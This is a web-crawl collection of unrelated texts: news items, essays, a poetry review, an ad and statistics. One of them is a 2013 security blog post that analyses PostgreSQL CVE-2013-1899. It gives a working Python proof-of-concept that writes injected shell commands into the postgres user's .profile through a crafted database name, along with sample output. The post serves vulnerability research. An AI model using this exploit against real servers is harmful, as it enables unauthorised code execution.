text:
Wow, that's quite a reaction to our post earlier this evening saying that we will publish some of the confidential Twitter documents we've been forwarded. Nearly 200 comments in a little over an hour, mostly saying we shouldn't publish. Hundreds of Tweets, and it has become a trending topic. There's even a poll asking people if we should post the documents or not.
Let's put aside the highly sensitive documents that we aren't going to publish, but which will likely end up on the Internet anyway. We're not going to post that information whether we have the legal right to or not. No discussion is needed.
But we are going to publish some of the other information that is relevant to Twitter's business, particularly product notes and financial projections. Many users say this is "stolen" information and therefore shouldn't be published. We disagree.
We publish confidential information almost every day on TechCrunch. This is stuff that is also "stolen," usually leaked by an employee or someone else close to the company, and the company is very much opposed to its publication. In the past we've received comments that this is unethical. And it certainly was unethical, or at least illegal or tortious, for the person who gave us the information and violated confidentiality and/or nondisclosure agreements. But on our end, it's simply news.
If you disagree with that, ok. But then you also have to disagree with the entire history of the news industry. "News is what somebody somewhere wants to suppress; all the rest is advertising," is something Lord Northcliffe, a newspaper magnate, supposedly said. I agree wholeheartedly.
That doesn't mean we are entitled to do anything we like in order to get to that information. But if it lands in our inbox, we consider it fair game. And if we have reason to believe it will be widely published regardless of what we do, the decision isn't a hard one. We throw out the information that is sensitive or could hurt an individual, and publish what we think is newsworthy.
In the end, this is no different than, as an example, this 2006 post where we posted confidential Yahoo documents showing their valuation of Facebook in a proposed acquisition.
Nor is it any different than the WSJ publishing this internal Yahoo memo, which was also "stolen" in 2006.
And I believe it is significantly less of an ethical issue than Gawker's posting of Sarah Palin's private emails.
It's not our fault that Google has a ridiculously easy way to get access to accounts via their password recovery question. It's not our fault that Twitter stored all of these documents and sensitive information in the cloud and had easy-to-guess passwords and recovery questions. We've been sitting in the office for eight hours now debating what the right thing to do is in this situation. We've spoken with our lawyers. We've spoken with Twitter. And we've heard what our readers have to say. All of that factors in to our decision on what to post or not to post.
We are always in the delicate position of balancing what's right for the community with publishing insider news that helped build this site into what it is today. We don't sit around and republish press releases, we break big stories.
I feel bad for Twitter and I wish this had never happened. But it did happen and the documents are out there and they are going to be published somewhere on the Internet. Hopefully the embarrassing and sensitive stuff about individual employees will never see the light of day. And hopefully this situation will encourage Google and Google users to consider more robust data security policies in the future.
Update: Here is Twitter's response.

subset: commoncrawl


text:
Bill Belichick isn't the only coach that could pay a fine this week for his treatment of the replacement officials.
The NFL confirmed to Around the League on Monday morning that it is reviewing an incident involving Washington Redskins offensive coordinator Kyle Shanahan during the end of Sunday's 38-31 loss to the Cincinnati Bengals.
Shanahan ran after the officials and reportedly berated them in the tunnel after the game.
ESPN 980 reported that Shanahan said: "You have no (expletive) balls, you are a (expletiving, expletive.)"
(We had to get creative there, but we'll let you fill in the blanks.)
Dan Steinberg of The Washington Post has a number of screen captures of the incident. Shanahan was furious after a late-game unsportsmanlike-conduct call that went against him. The officials badly botched the sequence ending the game.
At least one official said the game was over and there was a 10-second run-off after a Redskins penalty with seven seconds left, but they didn't know the rules. Marvin Lewis and the Bengals started to come out on the field, but eventually the mistake was corrected. Kyle Shanahan was penalized for something he said while arguing for the correction.
Once they announced the penalty on Shanahan, the officials spotted the ball incorrectly by 5 yards, according to Jason Reid of The Washington Post.
It's been that kind of week in the NFL.
UPDATE: Shanahan released a statement Monday, according to The Associated Press, in which he said he acted "in the wrong way" during Sunday's game.
"When I overheard the official tell the head coach that the game was over after the false-start penalty, I tried to explain that the game was not over," Shanahan's statement read. "That is what resulted in the unsportsmanlike-conduct penalty. I tried to get an explanation of how I could get that penalty when half of the other team was on the field as well.
"I was frustrated, and in the process of trying to get some answers from the officials, I conducted myself in the wrong way. I ask our players to hold themselves to a high standard and be accountable, and I know that I'm accountable for my actions as well. I know that I need to handle those situations better in the future. My emotions got the best of me, and I know it's my responsibility. This will never happen again."
Follow Gregg Rosenthal on Twitter @greggrosenthal.


text:
My Gift to Them
Grand multipara. That's me—a woman who has given birth to seven or more children. Actually, I have 12. To answer your question: no, no multiples.
More than the color of my hair, my profession, and my favorite food (cheese), being the mother of 12 children has defined me for the past 12 years, when my 12th and likely final child was born. Having 12 children is both my excuse and my imprimatur. The shabby state of my furniture is a testimony to my grand multiparous state. Offering unwanted parenting advice is my rightful purview: "I ought to know, I have 12 children."
Turning down a request for something I don't want to do is as easy as saying, "Sorry, can't. I have 12 children to care for."
Some people think my large family is something meritorious. Others wonder why I did it. There's no easy answer. Mostly, it's just a feeling that it falls on my generation to replace the 6 million murdered in the Holocaust.
Maybe it isn't fair to have to fill in the blanks. But that's what I tried to do—with help from my husband, of course.
When the sirens went off for the first time in my area on Friday night, just after I lit the Sabbath candles, I had a feeling of déjà vu. That siren took me right back to the first Gulf War. My coping mechanisms were finely honed by this time and I didn't panic.
But many of my children were siren "virgins."
For the first time, it wasn't some imaginary child just like them, living in Southern Israel under a constant barrage of missiles. It became REAL. It was just a single siren. Not the thousands of sirens that have rung out in Sderot over the past 12 years, just the one.
That single siren made things oh-so-tangible for my children: the ones who hadn't yet been born during the first Gulf War.
Back then, a social worker came to my former settlement to offer a little mini-course to the women in dealing with war. We learned that people handle emergencies in different ways. There is the person who smiles and goes into denial. There is the person who is completely freaked out, yelling and running around the room, unable to settle down, and then there is the person who is calm but in the moment.
I have seen all of these reactions to war in the first generation of children I raised, my first seven. But I had not yet seen how my second generation, the ones who still live at home, would cope during a time of war.
When that Friday night siren went off, I was calm. My instincts kicked in and it was all about my kids. I was focused on identifying and dealing with their needs.
One teenager was kind of stunned when the siren went off. He had just finished showering for Shabbat and was in his toweling robe. He repeatedly asked me with an undertone of panic, "What should I do? What should I do?"
I answered him very calmly, "First, go get dressed. Then we'll see."
Then we heard a big BOOM.
We looked at each other. I said, "Wow."
And then we heard another boom, softer this time.
He asked again, pitifully, "What should I do??"
I was mindful that his panic was mostly a male response to helplessness. Men are driven to protect those they love. He felt he should be doing SOMETHING. But there was nothing for him to do, practically speaking, except to put his clothes on.
While I was dealing with my teenage son, my husband Dov had run to our synagogue to get to our younger two children, who had gone to pray with their older brother, the one who'd been an infant during the Gulf War. My big son took fine care of them, hustling them to the synagogue shelter before most of the congregants figured out the import of the siren going off during their Sabbath Eve prayers. Dov brought the little boys home to me. It was just an instinct that they should be home, with me.
Dov took the teenager, now dressed, back to the synagogue and I stayed with my two youngest. I asked them what they were feeling. The older of the two was filled with bravado. The younger one wasn't afraid to voice his fear. I took them into my bedroom and played a game called Apples to Apples with them. It really helped calm them and make them feel better.
Since that first, hopefully only siren, my youngest son told me twice more he was scared. I didn't brush off his fears or tell him to "man up." I nodded and listened.
Today, I kissed him on the cheek as he was about to leave for school. I went over with him what he should do if he was outside and heard a siren: Throw down his school backpack, hit the ground, and if possible, edge toward a wall. Never go under a car.
Then I looked him in the eye and I said, "Look, I cannot promise you that nothing bad will happen. But I can tell you with a large degree of certainty that we will not personally experience anything bad where we live. It is very unlikely that a missile will hit us or our town."
He nodded, appreciating my honesty and the gravity of the situation.
I thought back to the email message I'd received earlier, from my friend in Cleveland, who wrote: "I have no idea how you guys can live like this. That's not to make you feel bad it's just a true statement."
And I reviewed in my mind my response to her: "Oh, I don't feel bad for giving my kids this existence. I feel very proud to be here. So do my kids."
It's odd. I'm the last person to do anything dangerous. I'm the last person to put my children in dangerous situations. Yet I feel perfectly comfortable to be raising my children in Israel, war or no war.
I could say that bad things happen to people everywhere. But that's not really my viewpoint. In attempting to analyze my own feelings about this: raising children here, when I could just as easily take them away to a safe haven, I was finally able to clarify my beliefs and put them into words. It's this: living for a principle is sometimes more important than living in safety.
Living in Eretz HaKodesh, in the Holy Land, is the most important thing I have ever done in my life and the most important thing I will ever do. Raising my children here, in sometimes difficult straits, is my gift to them. I believe they understand this. I believe they cherish the fact that I gave birth to them all in the holy city of Jerusalem and raised them in holiness in our homeland.
I don't think they would have it any other way.


text:
Dissecting CVE-2013-1899
Filed by Jesse D'Aguanno (0x30n) on August 4, 2013
So, last week the Postgresql group released an update to its popular open-source RDBMS to address a security issue – pretty standard…
This particular update though was pretty highly anticipated, primarily because a week prior to its release the Postgres devs posted a rather ominous message to the pgsql-hackers mailing list (http://www.postgresql.org/message-id/[email protected]) stating that the upcoming release would contain fixes for a security issue that was "sufficiently bad" enough to warrant temporarily closing down access to the public git repository until updated packages were available.
I don't know about you, but a super secret security update that's so bad that a popular open-source project temporarily goes closed-source so that the details aren't leaked gets us a little excited!
So then Thursday the release came, along with CVE-2013-1899. At first glance it looks like this is mostly a DoS, at least from a remote, unauthenticated standpoint. And a local privilege escalation at best under some very specific circumstances (Authenticated user with same name as database). So our objective was to see if we could leverage this DoS vuln into proper RCE, or at least as close as we can get…
Digging In
Let's take a look at this thing. Basically, the essence of the vuln is that when a client connects and specifies a database name that begins in "-" (hyphen), the postgres server misinterprets the database name as a command line flag for the server instance handling that connection (Even before any authentication is performed). In other words, an unauthenticated attacker can specify arbitrary command line flags to the target postgres server that will handle their session.
According to the Postgres folks, the argument they think is most dangerous is the "-r" flag, with specifies a file to send all server output to. By using this option, an attacker can specify any file that is writable by the user running postgres, like the config or database files, corrupting these files with server output "garbage" and causing a denial of service.
The available command line arguments, other than -r, are pretty sparse. But one looks like it might be useful: "-c" lets us set a named run-time parameter, which gives us a wider array of options as detailed in "Chapter 18" of the PostgreSQL manual (Actually, most other command line arguments are short versions of run-time parameters).
Here's a few of the options that sounded interesting at first:
– "…specifies one or more shared libraries to be preloaded at server start…" Hmm, function hooking anyone?archive_command
– "The shell command to execute to archive a completed WAL file segment…" Shell command always sounds good…log_line_prefix
– "…printf style string that is output at the beginning of each log line…" Attacker controlled output?dynamic_library_path
– Specifies path for dynamically loadable modules where directory isn't specified in LOAD or CREAT FUNCTION commands.local_preload_libraries
– "…specifies one or more shared libraries that are to be preloaded at connection start…"
Hmm, so unfortunately none of these look like they'll lead to remote code execution, so we're back to writing "garbage" output to arbitrary files with -r
. Let's see what get's written when we specify an output file with -r
psql --host=192.168.1.100 --dbname="-rtest.out"
2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test", database "-rtest.out", SSL on
2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test", database "-rtest.out", SSL off
So we can at least control what gets written to the log by specifying a username of our choosing… After looking at the code or playing with it a little, we find that we have 63 bytes of completely controllable data we can inject into arbitrary files (Preceded and succeeded by insignificant log message data).
So what can we do with this? First, in order to get some code to execute we need to target a lazy parser that will either ignore or warn on encountering the unrecognizable log data, but continue execution of our supplied code. Typically a good candidate for this would be web scripting languages like PHP, where we could wrap our code in <? ?>
tags to be parsed by the interpreter.
So that's one option – if there's a web server with a script interpreter like PHP on the same host as the Postgresql server, we might be able to write code to parseable files and trigger it via the web. There's a big caveat though, the web directory needs to be world writable (Or at least writeable by the user that owns the postgres process), also the default mode for new files created with the "-r" flag is 0600, so even if we write a new web file it won't be executable. Instead, we'd need to find an existing file to append to that is already executable and that we have permission to write to.
The server does send back "could not open" and "Permission denied" messages to the client though, so you could potentially brute-force writeable files / directories present on the server.
Another Approach
Instead of web scripts, what if we look for other scripts that are writeable by the postgres user in a default installation (On Ubuntu in this case)? After not finding much, I decided to instead target the .profile in ~postgres/ (/var/lib/postgres on Ubuntu).
Let's look again at the log output from our "-r" injection:
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off
So, in order to inject something useful into a .profile, we would need to write a double-quote (") followed by a newline (0x0a), followed by our desired command(s), followed by a hash character (#) to comment out the rest of the garbage.
Unfortunately, the psql utility doesn't seem to like special characters like newlines. So we'll have to write our own little client. The protocol is documented in the PostgresQL documentation, or even easier, we can just look at the protocol on the wire with Wireshark since there's a pgsql dissector.
Let's see what we get on the wire when we run the following command:
psql –username="AAAAAAAAAAAAAAAAAAAAAAAAAA" –host=192.168.2.22 –dbname="-BBBBBBBBBBBBBBBB"
As we can see, the postgres protocol consists of:
A 4 byte big-endian length field (Which includes the size of itself)
A magic value (
0x00, 0x03, 0x00, 0x00
)And then several commands delimited by null bytes:
- user + supplied user value
- database + supplied database values
- application_name + supplied application name
- client_encoding & value (We're going to leave out)
- Final null byte
So we'll whip up a quick python PoC to craft a request with our desired inputs:
import socket
import sys
import struct
buf = "\x00\x03\x00\x00" \
"user\x00" \
"\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data)
"database\x00" \
"-r" + sys.argv[2] + "\x00" \#Supplied filename to write to
buf = struct.pack(">I", len(buf)+4) + buf
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
data = sock.recv(1024)
print data
This will take the first argument as the command to inject, and the second arg as the location of the output file (.profile).
x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile
E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user ""
/usr/bin/cal #", database "-r/var/lib/postgresql/.profile", SSL offFauth.cL483RClientAuthentication
root@ubuntu:~# su - postgres
2013-04-09: command not found
April 2013
Su Mo Tu We Th Fr Sa
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Now we have to wait for an administrator to "su – postgres". Likely? Eh. But shodan shows over 300k hosts listening on port 5432…
Not exactly RCE, but better than the advertised DoS.


text:
Weeks Of Combat In Iraq Show Shiite Militias Have Few Offensive Capabilities
By Mitchell Prothero, McClatchy Foreign Staff
IRBIL, Iraq — The sectarian Shiite militias that the government in Baghdad has dispatched to fill the void created by the collapse of the Iraqi army are proving ill-equipped for offensive operations intended to reverse gains by the radical Islamic State, Iraqi soldiers, and military experts studying the current military situation have concluded.
The inadequacy of the militias to turn the tide was demonstrated again on Wednesday six miles south of Tikrit, the central Iraqi city that Islamic State fighters seized June 11 and that Iraqi forces and Shiite fighters have been trying to reclaim for more than two weeks.
Local residents and Iraqi media reported that the Iraqi military backed by militias attempted to push through the town of Awja toward Tikrit but were beaten back by heavy machine-gun and mortar fire from Islamic State positions.
"It was a big battle and the Iraqi army and the Iranian militias have gone," said one local resident, whose reference to the Shiite militias as Iranians is common, if inaccurate, in heavily Sunni regions of Iraq. "They withdrew to a base south of Awja." The resident declined to be identified for security reasons.
A Twitter account associated with the Islamic State posted photographs of what it said was the aftermath of the fighting, including images of burning armored vehicles and at least one destroyed pickup truck emblazoned with the logo of SWAT, a highly trained Iraqi army special forces unit. The photographs were consistent with descriptions of the fighting, the units present, and the location of the battle, though their authenticity could not be confirmed.
The apparent defeat underscored a growing sense that the Iraqi security forces have misplaced their hopes that the Shiite militias would prove decisive in the fight against the Islamic State. While the militias are given credit for stopping the Islamic State's advance on cities such as Samarra, home of a major Shiite religious shrine, and Baghdad, they've proved ineffective in retaking ground. Their casualties apparently have been high.
"Without (the militias) we would have been gone a long time ago," said Ahmad Hussam, an infantryman fighting on the critical western approaches to Baghdad near Abu Ghraib, one of the last majority Sunni areas still in government hands, who was interviewed while on leave in Baghdad. "But they have taken many lost on their side because of a shortage in training and experience."
He added that many volunteers — summoned by Iraq's senior Shiite cleric, the Grand Ayatollah Ali al-Sistani, to support the government of Prime Minister Nouri al-Maliki — had arrived at the front lines without weapons or food. "We have to help them just to stay alive," he said.
Aymenn al-Tamimi, who studies militant groups in Iraq for the Philadelphia-based Middle East Forum, said the past few weeks have disproved the common wisdom that the Shiite militias would be a fearsome force because of their experience fighting U.S. forces during the American occupation of Iraq and, more recently, their role in helping defend the government of President Bashar Assad in Syria.
"These are supposed to be the guys who can scare ISIS and are skilled in urban warfare," Tamimi said, referring to the Islamic State by the acronym for its previous name, the Islamic State of Iraq and Syria. "Well, I don't see evidence of that."
Andrew Exum, a former Pentagon adviser and expert on low-intensity conflicts, said that recent weeks suggest that the militias will require a firmer hand from Iranian commanders or officers from Lebanon's Hezbollah, who reportedly led many of them during their presence in neighboring Syria. But whether Iran and Hezbollah are willing to commit that manpower is unclear, even as the Obama administration has said no U.S. ground troops will be committed to Iraq.
Pentagon officials are finalizing recommendations for what the United States should do to bolster Iraqi forces. An initial assessment found, among other conclusions, that Iraq's forces lacked the offensive capabilities to decisively end the Islamic State's threat to Baghdad.
"I think it's clear that just as Iraq's army benefited greatly from embedded U.S. advisers, Iraq's Shiite militias benefited greatly from embedded Iranian and Hezbollah advisers," said Exum, a former U.S. Army officer who has a doctorate in counterinsurgency studies from King's College in London. "Too bad for the former that America is so reluctant to commit ground troops, and too bad for the latter that Iran and Hezbollah are so busy in Syria."
Prothero is a McClatchy special correspondent.
AFP Photo/Ahmad al-Rubaye
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text:
Hobby Lobby Delays Obamacare Fines for Now; Avoids $18.2 Million Penalty
Craft chain Hobby Lobby said it has found a way to delay compliance with the Obamacare mandate, which requires companies to cover contraception in their employees' health care. Pastor Rick Warren has warned that religious freedom, at the heart of the company's battle, might become this decade's civil rights movement.
The evangelical Christian-owned company plans to shift the beginning of its employee health plan to temporarily avoid $1.3 million a day in fines for each day since Jan. 1 that it did not comply with the Affordable Care Act. Without the delay, the fine would now have totaled $18.2 million.
"Hobby Lobby discovered a way to shift the plan year for its employee health insurance, thus postponing the effective date of the mandate for several months," Peter M. Dobelbower, company's general counsel, said in a statement.
Dobelbower added that Hobby Lobby "does not provide coverage for abortion-inducing drugs in its healthcare plan," alluding to "morning-after" and "week-after" pills. The company will continue to "vigorously defend its religious liberty and oppose the mandate and any penalties."
On Dec. 26, Supreme Court Justice Sonia Sotomayor denied the company's emergency request to block enforcement of the Health and Human Services "preventive services" mandate, which forces the company to go against their religious beliefs and cover contraception, sterilization and abortifacients in employees' health care.
However, the day after the company's plea for an emergency injunction was rejected, Kyle Duncan, general counsel for the Becket Fund for Religious Liberty, which is legally representing Hobby Lobby, said the retail chain will continue their appeal.
"The Supreme Court merely decided not to get involved in the case at this time," Duncan said. "It left open the possibility of review after their appeal is completed in the Tenth Circuit. The company will continue to provide health insurance to all qualified employees. To remain true to their faith, it is not their intention, as a company, to pay for abortion-inducing drugs."
David Green, Hobby Lobby CEO and founder, has said, "We simply cannot abandon our religious beliefs to comply with this mandate… We're Christians, and we run our business on Christian principles." Headquartered in Oklahoma, Hobby Lobby has 500 arts and crafts stores in 41 states.
Warren, author and pastor of Saddleback Church in Lake Forest, Calif., has described the company's battle against Obamacare as "nothing less than a landmark battle for America's FIRST freedom, the freedom of religion and the freedom from government intervention in matters of conscience."
Warren said in a statement earlier this month that every American who loves freedom should "shudder at the precedent the government is trying to establish by denying Hobby Lobby the full protection of the First Amendment."
He blasted the government for trying to reinterpret the First Amendment "from freedom to PRACTICE your religion, to a more narrow freedom to worship, which would limit your freedom to the hour a week you are at a house of worship." This, he added, is not only a subversion of the Constitution, "it is nonsense," because "any religion that cannot be lived out … at home and work, is nothing but a meaningless ritual."
Warren predicts that "the battle to preserve religious liberty for all, in all areas of life, will likely become the civil rights movement of this decade."


text:
The world of elite New York City private schools was rocked this week by allegations in a special New York Times Magazine report alleging decades of sexual abuse at one of the most well-respected institutions in the country.
For decades, a handful of teachers at the Horace Mann school, an elite prep school in the Bronx, sexually abused both their male and female students with various levels of impunity, according to the exposé by screenwriter Amos Kamil. In the article, Kamil, a Horace Mann alumnus, recalls his friends and classmates privately confiding in him the abuse that they endured at the hands of their teachers:
"Guys, I have to tell you something that happened to me when we were at H.M. Do you remember Mr. Wright, the football coach?" Our metal utensils ceased clanking. Speaking calmly and staring into the flames, he told us that when he was in eighth grade, Wright sexually assaulted him. "And not just me," he added. "There were others." First Wright befriended him, he said. Then he molested him. Then he pretended nothing happened.
No one knew what to say, at least at first. But then slowly, the rest of us started telling stories, too. One of the guys talked about a teacher who took him on a field trip, and then invited him into his bed in the hotel room they were sharing. (My friend fled, walking in the rain for hours until the coast seemed clear.) Another told a story about a teacher who got him drunk and naked; that time, no one fled.
(MORE: Sex Abuse in Schools: Why Repeat Offenders are so Common)
Very few of the victims ever reported the abuse, instead resorting to silence, apathy, therapy, alcohol and even suicide. On the two occasions when complaints were made, the offenders were swiftly relieved of their duties; but as Kamil alleges, the school took no action to investigate other similar crimes or to address the mental or other needs of the victims.
The case is the latest in a series of New York-area school sex abuse scandals that have come to light lately. At Poly Prep, a prestigious Brooklyn private school, a former football coach was accused of preying on boys in his charge while the school administration turned a blind eye. In April, a former math teacher at Riverdale County School in the Bronx was arrested on charges of sexually abusing a teenaged student. Meanwhile, several New York City public school teachers have been arrested for sexually assaulting students, sparking a district-wide investigation.
(MORE: Did Jerry Sandusky Write Love Letters to an Alleged Victim?)
The Horace Mann allegations are among the most troubling of the recent accusations, not least because of the pedigree of the institution involved: the school is consistently named one of the 10 best prep schools in the country, and came in second on a 2010 Forbes list. Following the release of the Times article, Horace Mann released a statement to the school community expressing abhorrence at the alleged crimes committed and reassuring students and parents that the school is a safe place to learn. "The safety, security, and well-
being of the children who attend Horace Mann are at the core of everything we do," the letter stated. Many Times commenters, however, were quick to point out that the school as of this writing has not reached out to past victims, many of whom still struggle with memories of the abuse that they endured as children.
MORE: The Horrors of Miramonte: After an L.A. School's Sex Abuse Scandal, Can Students Be Healed?


text:
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text:
John Downey, a 61-year-old Donegal man, has been charged with the 1982 IRA attack on the Queen's cavalry in Hyde Park, London. The nail-bombing at the tourist attraction killed four police officers and seven horses.
The British authorities declined to explain how Downey's arrest, at London's Gatwick Airport, came about almost 31 years after the attack. He is charged with four charges of murder and conspiring to cause an explosion. The four members of the Household Cavalry who were murdered were Roy John Bright, Dennis Richard Anthony Daly, Simon Andrew Tipper, and Geoffrey Vernon Young.
Sinn Fein official Gerry Kelly called Downey's arrest "vindictive, unnecessary and unhelpful" and an act of "bad faith," the Associated Press reports.
The Irish nationalist political party called for Downey's release accusing the British Government of violating the Good Friday peace agreement, by pursuing Downey who was on a list of IRA suspects, "on the run." They added that the British Government should no longer be pursuing IRA suspects.
In a statement Kelly said "The decision to arrest and charge him in relation to IRA activities in the early 1980s is vindictive, unnecessary and unhelpful. It will cause anger within the Republican community.
He continued "This development represents bad faith and a departure from what was previously agreed by both governments."
Anti-terrorist police in London have continued to investigate unsolved IRA murders. From 1970 to 1997 the Provisional IRA killed nearly 1,800 people.
These investigations go against the agreements made after the Provisionals renounced violence and disarmed in 2005.
Kelly, who led the IRA's car-bombing attacks in London, in 1973, said Downey was informed in 2007 that he was no long wanted for questioning by the British police.
Downey is the third man to face trial for this crime.
On July 20, 1982, the British troops were engaged in entertainment and ceremonial duties at Hyde Park. The bomb planted in a parked car was detonated by remote control as the troops moved towards Buckingham Palace.
Two hours after this attack a suitcase bomb close to Regent's Park killed seven army musicians. Witnesses said the musicians were blown into the air. Twenty-two others were injured.
These attacks represent one of the IRA's biggest killings of British troops.
If convicted Downey would face parole in two years under the Good Friday Agreement.
The BBC reports that last year a survivor of the IRA attack at Hyde Park, suffering from post-traumatic stress, fatally stabbed his children before killing himself. Ex-Army sergeant Michael Pedersen's children Ben and Freya, aged seven and six, were found near Andover, Hampshire, in September. Pedersen (51) was the Household Cavalry rider on Sefton, the horse who famously survived the bombing.


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360Science™: Correlate Material Properties and Bond Type
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Philip Levine's new book from Knopf, News of the World, is the latest collection by the great American poet, identified by Edward Hirsch in the New York Times Book Review as "a large, ironic Whitman of the industrial heartland." Levine, who now lives in Walt Whitman's Brooklyn, after being raised in Detroit, and teaching for years in Fresno, has not slowed down since reaching his eighties: News of the World is his 17th collection of poems.
The new poems elicit memories of earlier works, but are fresh and provocative as any he's written. Certainly ever since his National Book Award winner What Work Is, Levine is our most astute living poet to tackle issues that engulf the working man and woman, their toils and lives, their desires and fears.
Consider the closing lines of "Of Love and Other Disasters":
She took a paper napkin off the bar,Levine's poems go right to heart, tugging and pulling, revealing and crushing. He knows the consequences of our decisions can be devastating. In "Yakov" he writes of his uncle's cabin in the old country:
spit on it, and told him to hold still
while she carefully lifted his glasses,
leaving him half blind, and wiped
something off just above his left
cheekbone. "There," she said, handing
him back his glasses, "I got it," and even
with his glasses on, what she showed
him was nothing he could see, maybe
only make-believe. He thought, "Better
get out of here before it's too late," but
suspected too late was what he wanted.
"The silence, it wasBut moving to America, to work, to survive, cost his uncle Yakov a very large price:
all, it was everything."
Even the wolves, he told me, moved
through the trees without breathing.
The blackbirds vanished hours before
sunset. Snow fell only in the dark
so that at daybreak the world
was new.
His Detroit was something else:Many of Philip Levine's poems recall the past, but with neither nostalgia nor fear; instead they bring the past to the present, reminding us that histories--of countries, of people, of the body--return again and again. In "During the War" Levine writes of his brother coming home wounded in battle, as the poet waited in line for bread and faced an indirect victim of the war, a widow:
in the back of Automotive
a bare bulb swung above him
as he bowed to the wrong job
in the wrong place and entered
the unwritten epic of tedium...
When I got home my brother ate the breadLevine's language is precise and haunting, rooted in sound, time and the strength of well-placed silences: "nothing/was left but a blank plate. 'Did you see her...'." These silences engage the reader in ways that are almost undetectable, but have great conviction and power.
carefully one slice at a time until nothing
was left but a blank plate. "Did you see her,"
he asked, "the woman in hell, Michael's wife?"
That afternoon I walked the crowded streets
looking for something I couldn't name,
something familiar, a face or a voice or less,
but not these shards of ash that fell from heaven.
In "Before the War," Levine assigns a name Gertrude to a mother in Toledo who works hard for the son she loves, a boy called Solly. Levine effortlessly and quietly brings his readers devastatingly into the poem, as he writes:
He accepts his whole name, evenSounds of all kinds--typing, a woman humming, a Dutch doctor comforting a small girl with "Nay! Nay!"--are important to these poems and counter the frequently evoked quiet. In "Unholy Saturday" the sounds may not even exist:
as a kid he stands and faces us,
just as eleven years from now
he'll stand and face his death
flaming toward him on a bridge-
head at Remagen while Gertrude
goes on typing mechanically
into the falling winter night.
In the distance someone keepsJust as Whitman hears America singing, with his carpenter measuring his plank or beam, his shoemaker sitting on his bench, Levine hears his people live their lives while doing what they must do to thrive (from "The Music of Time"):
calling the names of the brothers
in the same order over
and over, but they don't hear
what with the riverbank gorged
with blue weed patches and all
the birds in hiding. Perhaps no
one is calling and it's only
the voices of the air as
the late light of June hangs on
in the cottonwoods before
the dark whispers the last word.
The young woman sewingPhilip Levine has given us powerful poems that resonate long after they are read; they are strong, ample, fair, enduring, capable and rich; for that we are grateful.
by the window hums a song
I don't know; I hear only
a few bars, and when the trucks
barrel down the broken street
the music is lost.


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ST-Ericsson, a money-losing joint venture being wound down by owners STMicroelectronics and Ericsson, has sold its GPS mobile business to Intel.
ST-Ericsson, which focuses on mobile and wireless chips, announced the sale on Tuesday without naming the buyer. An Intel spokesman later said the U.S. chipmaker bought the assets.
Neither company revealed the price, but ST-Ericsson said the proceeds from the sale, combined with the avoidance of employee restructuring charges and other related restructuring costs, would reduce the joint venture's cash needs by approximately $90 million.
STMicro and Ericsson announced in March they were winding down ST-Ericsson, which has been hit by a big drop in orders from top customer Nokia and has struggled to compete with other chipmakers.
ST-Ericsson's GPS-related intellectual property rights and engineers add to Intel's already existing GPS assets, Intel spokesman Chris Kraeuter said.


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Founded by
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in August of 2000,
DS Effects
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Alpine archery, one of the most innovative archery companies in the industry has pinned its ears back and rockets into 2011 with its all new F1 FIREBALL. A fast shooting, incredibly quiet, smooth as butter bow that will rock your world but not your bank account.
Alpine President Bob Proctor made the introduction, "Bowhunter's love shooting new equipment but these past few years of our down economy has made it hard to justify the high prices of new bows. At Alpine we understand the basic principles of 'performance, quality and value'. The new F1 FIREBALL is a solid high-performance bow designed for the rugged bowhunting archer who wants it all only at a more reasonable price. This is where 'value' comes in and that is what the F1 FIREBALL is all about."
The new F1 FIREBALL is pure Alpine. Good looking and tough as nails. It's fitted with the legendary Velocitec cam with Patent Pending 'Dynamic Load Balancing Technology'™. It sports a new, dynamic designed forged riser that is meticulously finished in Mossy Oak Break-Up Infinity camo. It is then fitted for a custom look with brown hardware, antiqued medallion and comfortable rosewood grip. The F1 FIREBALL fires out a whisper quiet 337 fps arrow and has a gentle touch on the wallet. All this for an off the rack price of only $579. Who says you can't afford the best?
Times may be tough but Alpine helps make them easier.
For more information go to: Alpine Archery
or call: 208-746-4717


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FEATURE ARTICLE 1: WHAT MOTIVATES AUSTRALIANS TO PARTICIPATE IN SPORT? Occasional and infrequent participants numbered 3.7 million and represented over a third (35%) of total participants (23% of the population aged 15 years and over). For infrequent participants, part-year participation was a feature of those in the younger age groups, with 16% of those aged 15-17 and 12% of those aged 18-24 and 25-34 years reporting this level of participation. Motivators for participation For all those who participated, health and fitness (33% or 7.8 million persons) was the most common motivator followed by enjoyment (21% or 5.2 million persons), well-being (16% or 3.9 million persons) and social or family reasons (14% or 3.2 million persons). The two main motivators for all participants were health and fitness (54%) and enjoyment (22%). More females than males reported health and fitness (59% and 50% respectively) and well-being (9% and 6% respectively) as being important, whereas more males than females indicated enjoyment (27% and 16% respectively) and social or family reasons (8% and 6% respectively) as the main reasons for participating.
Health and fitness was more commonly indicated as the main reason for participating by those who participated regularly compared with those who participated on a less regular basis (60% and 44% respectively). Conversely, enjoyment as the main motivator was more commonly reported by infrequent participants (28%) compared with those who participated regularly (18%). Health and fitness as a motivator for participants also increased with age, from just one quarter (26%) of those aged 15-17 years to more than half of those aged 25-34 years (54%) and approaching 60% of each age group from 35-44 to 65 years and over. Conversely, enjoyment, whilst being the second most common motivator overall, declined as being the main motivator for almost half (45%) of participants aged 15-17 years to 30% for those aged 18-24 years and fell further to almost one in five for all other age groups. Reasons for non-participation Reasons for non-participation were asked of those who did not participate or were occasional participants in sports and physical recreation. A total of 6.5 million persons did not participate or were occasional participants. Of these, 84% reported no participation, while the remaining 16% were occasional participants. The most commonly reported reasons for non-participation were insufficient time due to work or study; 'not interested'; and age/too old. For the occasional participants, insufficient time due to work or study (45%) was the main reason for not participating. Reasons of 'not interested' and insufficient time due to family reasons were the next most common reasons and accounted for 18% and 17% respectively. Similar reasons were provided by respondents when asked about their main reason for non-participation. About one-fifth of respondents reported 'not interested', insufficient time due to work or study and age/too old as their main reasons for non-participation. The most common reason reported 